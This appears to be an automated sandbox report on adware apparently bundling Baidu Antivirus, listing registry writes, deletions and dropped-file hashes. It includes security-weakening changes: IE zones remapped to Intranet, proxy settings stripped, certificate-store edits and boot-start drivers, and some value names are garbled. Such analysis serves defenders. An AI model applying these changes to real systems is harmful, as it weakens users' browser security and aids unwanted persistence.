[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"
"CategoryCount" = "16"

[HKCU\Software\Baidu Security\PC Faster]
"pcfaster-id" = "S-1-5-21-1844237615-1960408961-1801674531-1003#000C2902CDFB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\BavUpdater\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "78 F3 11 68 13 3D CF DA B6 7C 98 36 DA C0 00 54"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

The Adware deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\BavUpdater\DEBUG]
"Trace Level"

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_a7.exe:1948 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 9B 33 73 AD 15 EA 06 56 2D 45 85 FA CF A7 AD"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Adware deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process PennyBee.exe:1976 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6A 3B 06 6A 95 3B 41 17 08 7E 0E C5 30 F4 83 17"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\LocalService\Local Settings\Application Data"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application]
"Sources" = "WSH, WMIAdapter, WMI.NET Provider Extension, WmdmPmSN, WinMgmt, Winlogon, Windows Product Activation, Windows 3.1 Migration, WebClient, VSSetup, VSS, vmtools, vmStatsProvider, VBRuntime, Userinit, Userenv, TPVCGateway, Tlntsvr, System.ServiceModel.Install 3.0.0.0, System.ServiceModel 4.0.0.0, System.ServiceModel 3.0.0.0, System.Runtime.Serialization 4.0.0.0, System.Runtime.Serialization 3.0.0.0, System.IO.Log 4.0.0.0, System.IO.Log 3.0.0.0, System.IdentityModel 4.0.0.0, System.IdentityModel 3.0.0.0, SysmonLog, Starter, SpoolerCtrs, Software Restriction Policies, Software Installation, ServiceModel Audit 4.0.0.0, ServiceModel Audit 3.0.0.0, SecurityCenter, SclgNtfy, SceSrv, SceCli, safrslv, SAFrdms, RPC, Remote Assistance, PerlMsg, PerfProc, PerfOS, PerfNet, Perfmon, Perflib, PerfDisk, Perfctrs, Offline Files, Oakley, ntbackup, MSSQLSERVER/MSDE, MSSHA, MsiInstaller, MSDTC Client, MSDTC, mnmsrvc, Microsoft.Transactions.Bridge 4.0.0.0, Microsoft.Transactions.Bridge 3.0.0.0, Microsoft H.323 Telephony Service Provider, Microsoft (R) Visual C# 2005 Compiler, LoadPerf, JavaQuick)"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\LocalService\Application Data"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ProtectorToolService]
"EventMessageFile" = "%WinDir%\Microsoft.NET\Framework\v2.0.50727\EventLogMessages.dll"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

The process regsvr32.exe:3588 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "22 23 81 E8 D7 17 82 C9 3A 76 1B 71 C9 66 46 99"

[HKCR\CLSID\{0A93904A-BB1E-4a0c-9753-B57B9AE272CC}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved]
"{0A93904A-BB1E-4a0c-9753-B57B9AE272CB}" = "Baidu Scan"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\BaiduAntivirusIconLock]
"(Default)" = "{0A93904A-BB1E-4a0c-9753-B57B9AE272CC}"

[HKCR\CLSID\{0A93904A-BB1E-4a0c-9753-B57B9AE272CC}\InprocServer32]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavShx.dll"

[HKCR\Folder\shellex\ContextMenuHandlers\Baidu_Scan]
"(Default)" = "{0A93904A-BB1E-4a0c-9753-B57B9AE272CB}"

[HKCR\CLSID\{0A93904A-BB1E-4a0c-9753-B57B9AE272CB}\InprocServer32]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavShx.dll"
"ThreadingModel" = "Apartment"

[HKCR\Drive\shellex\ContextMenuHandlers\Baidu_Scan]
"(Default)" = "{0A93904A-BB1E-4a0c-9753-B57B9AE272CB}"

[HKCR\CLSID\{0A93904A-BB1E-4a0c-9753-B57B9AE272CB}]
"(Default)" = "baidu right click handler"

[HKCR\*\shellex\ContextMenuHandlers\Baidu_Scan]
"(Default)" = "{0A93904A-BB1E-4a0c-9753-B57B9AE272CB}"

[HKCR\CLSID\{0A93904A-BB1E-4a0c-9753-B57B9AE272CC}]
"(Default)" = "icon overlay lock"

[HKCR\lnkfile\shellex\ContextMenuHandlers\Baidu_Scan]
"(Default)" = "{0A93904A-BB1E-4a0c-9753-B57B9AE272CB}"

The process regsvr32.exe:3620 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 6F F1 CB 8E E4 41 29 7C 1E 28 9C C8 88 8D 2F"

[HKCR\IntellNoDisturb.CommonLogicManager\CLSID]
"(Default)" = "{6197B4BA-F6A9-4393-8CCF-1A129ADC6114}"

[HKCR\CLSID\{6197B4BA-F6A9-4393-8CCF-1A129ADC6114}\ProgID]
"(Default)" = "IntellNoDisturb.CommonLogicManager.1"

[HKCR\CLSID\{6197B4BA-F6A9-4393-8CCF-1A129ADC6114}]
"(Default)" = "CommonLogicManager Class"

[HKCR\IntellNoDisturb.CommonLogicManager\CurVer]
"(Default)" = "IntellNoDisturb.CommonLogicManager.1"

[HKCR\AppID\IntellNoDisturb.DLL]
"AppID" = "{2CD8FE2E-6BAE-49BB-BBB6-5243A67D96D1}"

[HKCR\TypeLib\{1DAE4E6D-FBA6-4E20-A2D0-E0C1849196F2}\1.0\0\win32]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\intellnodisturb.dll"

[HKCR\TypeLib\{1DAE4E6D-FBA6-4E20-A2D0-E0C1849196F2}\1.0\HELPDIR]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0"

[HKCR\TypeLib\{1DAE4E6D-FBA6-4E20-A2D0-E0C1849196F2}\1.0]
"(Default)" = "IntellNoDisturb 1.0 Type Library"

[HKCR\AppID\{2CD8FE2E-6BAE-49BB-BBB6-5243A67D96D1}]
"(Default)" = "IntellNoDisturb"

[HKCR\IntellNoDisturb.CommonLogicManager.1]
"(Default)" = "CommonLogicManager Class"

[HKCR\IntellNoDisturb.CommonLogicManager.1\CLSID]
"(Default)" = "{6197B4BA-F6A9-4393-8CCF-1A129ADC6114}"

[HKCR\CLSID\{6197B4BA-F6A9-4393-8CCF-1A129ADC6114}\VersionIndependentProgID]
"(Default)" = "IntellNoDisturb.CommonLogicManager"

[HKCR\CLSID\{6197B4BA-F6A9-4393-8CCF-1A129ADC6114}\TypeLib]
"(Default)" = "{1DAE4E6D-FBA6-4E20-A2D0-E0C1849196F2}"

[HKCR\TypeLib\{1DAE4E6D-FBA6-4E20-A2D0-E0C1849196F2}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\CLSID\{6197B4BA-F6A9-4393-8CCF-1A129ADC6114}\InprocServer32]
"(Default)" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\intellnodisturb.dll"
"ThreadingModel" = "Apartment"

[HKCR\IntellNoDisturb.CommonLogicManager]
"(Default)" = "CommonLogicManager Class"

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_y3.exe:236 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7D 38 A0 23 C9 A4 38 7F 7E D4 B9 8C 1F 47 10 02"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PennyBee]
"DisplayName" = "PennyBee"
"UninstallString" = "%Program Files%\PennyBee\uninstall.exe"
"DisplayVersion" = "1.0.2.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PennyBee]
"DisplayIcon" = "%Program Files%\PennyBee\PennyBee.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PennyBee.exe]
"(Default)" = "%Program Files%\PennyBee\PennyBee.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PennyBee]
"Publisher" = "PennyBee"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PennyBee.exe]
"Params" = " Partner=pcdealb Channel=pcdealbnew DeviceId=C28B7D95-2978-BD4C-036F-0CC89C089D Publisher=PB4 Barcode=149125 InstallerVersion=1.0.2.0"

The process cscript.exe:3216 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AB 8D AE FA 42 BC 65 C6 EE 4B AB 20 3E F3 CF 1F"

The process cscript.exe:3256 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 32 8A 8D 3E A8 B5 9D DC A4 79 A4 26 6D DE 28"

The process cvtres.exe:2068 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 15 22 41 14 5E 0C A2 E0 96 32 FE 87 0A 11 60"

The process cvtres.exe:3004 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E6 48 C4 86 E8 68 7B AB 16 46 9C BA 58 56 95 98"

The process BHipsSvc.exe:3852 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\LocalService\Local Settings\Application Data"

[HKLM\System\CurrentControlSet\Services\BdApiUtil]
"Type" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Bnbase]
"Group" = "Streams Drivers"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\E5215D3460C2C20BBE2D9FE5FB665DAA2C0E225C]
"Blob" = "04 00 00 00 01 00 00 00 10 00 00 00 6F 7E 74 A3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Services\BdApiUtil]
"ImagePath" = "\??\%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil.sys"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKLM\System\CurrentControlSet\Services\Bnbase]
"ErrorControl" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

[HKLM\System\CurrentControlSet\Services\Bprotect]
"Version" = "5,4,3,147185"

[HKLM\System\CurrentControlSet\Services\Bfilter\Instances\Bfilter Instance]
"Altitude" = "326910"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKLM\System\CurrentControlSet\Services\Bfilter\Instances\Bfilter Instance]
"Flags" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\System\CurrentControlSet\Services\Bfmon\Instances\Bfmon Instance]
"Altitude" = "387920"

[HKLM\System\CurrentControlSet\Services\BdCameraProtect]
"Type" = "1"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C]
"Blob" = "19 00 00 00 01 00 00 00 10 00 00 00 A8 23 B4 A2"

[HKLM\System\CurrentControlSet\Services\Bprotect]
"InstRootPath" = "%Program Files%\Baidu Security\Baidu Antivirus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\System\CurrentControlSet\Services\BHipsEx\Instances]
"DefaultInstance" = "BHipsEx Instance"

[HKLM\System\CurrentControlSet\Services\BHipsEx\Instances\BHipsEx Instance]
"Altitude" = "389800"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"NetHood" = "%Documents and Settings%\%current user%\NetHood"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\BHipsSvc\DEBUG]
"Trace Level" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Bfmon\Instances]
"DefaultInstance" = "Bfmon Instance"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\System\CurrentControlSet\Services\BdCameraProtect]
"ErrorControl" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\System\CurrentControlSet\Services\Bnbase]
"Type" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\System\CurrentControlSet\Services\Bprotect]
"InstRawPath" = "\Device\HarddiskVolume1\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0"
"InstPath" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "93 93 F7 0F 30 04 A7 87 56 C0 BF CB 5F D6 D4 5F"

[HKLM\System\CurrentControlSet\Control\BAVER]
"LastServiceSucess" = "1"

[HKLM\System\CurrentControlSet\Control\BAVER\WalkoutFunction]
"Bnbase" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Services\BdSandbox\Instances\BdSandbox Instance]
"Flags" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"uFlag" = "1"

[HKLM\System\CurrentControlSet\Services\Bnbase]
"ImagePath" = "System32\drivers\bnbase.sys"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\BdCameraProtect]
"ImagePath" = "\??\%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdCameraProtect.sys"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Administrative Tools" = "%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
"SendTo" = "%Documents and Settings%\%current user%\SendTo"

[HKLM\System\CurrentControlSet\Services\BdSandbox\Instances\BdSandbox Instance]
"Altitude" = "388000"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKU\.DEFAULT\Software\Baidu Security\Antivirus\web]
"AdBlockCountLastDay" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Services\fortest]
"test123456" = "286392319"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Recent" = "%Documents and Settings%\%current user%\Recent"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\System\CurrentControlSet\Services\BdApiUtil]
"ErrorControl" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = ""

[HKLM\System\CurrentControlSet\Services\BHipsEx\Instances\BHipsEx Instance]
"Flags" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"PrintHood" = "%Documents and Settings%\%current user%\PrintHood"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Administrative Tools" = ""

[HKLM\System\CurrentControlSet\Services\Bfilter\Instances]
"DefaultInstance" = "Bfilter Instance"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\System\CurrentControlSet\Services\Bfmon\Instances\Bfmon Instance]
"Flags" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\System\CurrentControlSet\Services\BdSandbox\Instances]
"DefaultInstance" = "BdSandbox Instance"

The following driver will be automatically launched by the NT Native code (IoInitSystem method):

[HKLM\System\CurrentControlSet\Services\Bnbase]
"Start" = "1"

Automatic startup of the following service is disabled:

[HKLM\System\CurrentControlSet\Services\BdCameraProtect]
"Start" = "3"

[HKLM\System\CurrentControlSet\Services\BdApiUtil]
"Start" = "3"

The Adware deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\fortest\deltest]
[HKLM\System\CurrentControlSet\Services\fortest]

The Adware deletes the following value(s) in system registry:

[HKLM\System\CurrentControlSet\Control\BAVER\WalkoutFunction]
"Ã¤Âºâ€˜Ã¤Â¸Â»Ã©ËœÂ²Ã¦â€°Â©Ã¥Â±â€¢Ã¥Å Â¨Ã¤Â½Å“Ã§Â¦ÂÃ§â€Â¨Ã¦Â â€¡Ã¨Â®Â°"
"Ã¤Âºâ€˜Ã¤Â¸Â»Ã©ËœÂ²Ã§Â¦ÂÃ§â€Â¨Ã¦Â â€¡Ã¨Â®Â°"
"NPNotShowLicense"

[HKLM\System\CurrentControlSet\Services\fortest]
"test123456"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\BHipsSvc\DEBUG]
"Trace Level"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"uFlag"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates]
"B1BC968BD4F49D622AA89A81F2150152A41D829C"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates]
"E5215D3460C2C20BBE2D9FE5FB665DAA2C0E225C"

[HKLM\System\CurrentControlSet\Control\BAVER\WalkoutFunction]
"Ã¤Âºâ€˜Ã¤Â¸Â»Ã©ËœÂ²Ã¦â€¢Â°Ã¦ÂÂ®Ã¤Â¸Å Ã¦Å Â¥Ã§Â¦ÂÃ§â€Â¨Ã¦Â â€¡Ã¨Â®Â°"

Dropped PE files

MD5	File path
d28232f2672b6795ac9ca9b636ea085c	c:\Documents and Settings\All Users\Application Data\Baidu\Antivirus\BavMSService.exe
a3b18caddaea137231ec5e77be640f71	c:\Documents and Settings\All Users\Application Data\Baidu\Antivirus\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe
2360fabce9e04c526b53e1acdd173e35	c:\Documents and Settings\All Users\Application Data\Baidu\Antivirus\ReportComm_ForMini.dll
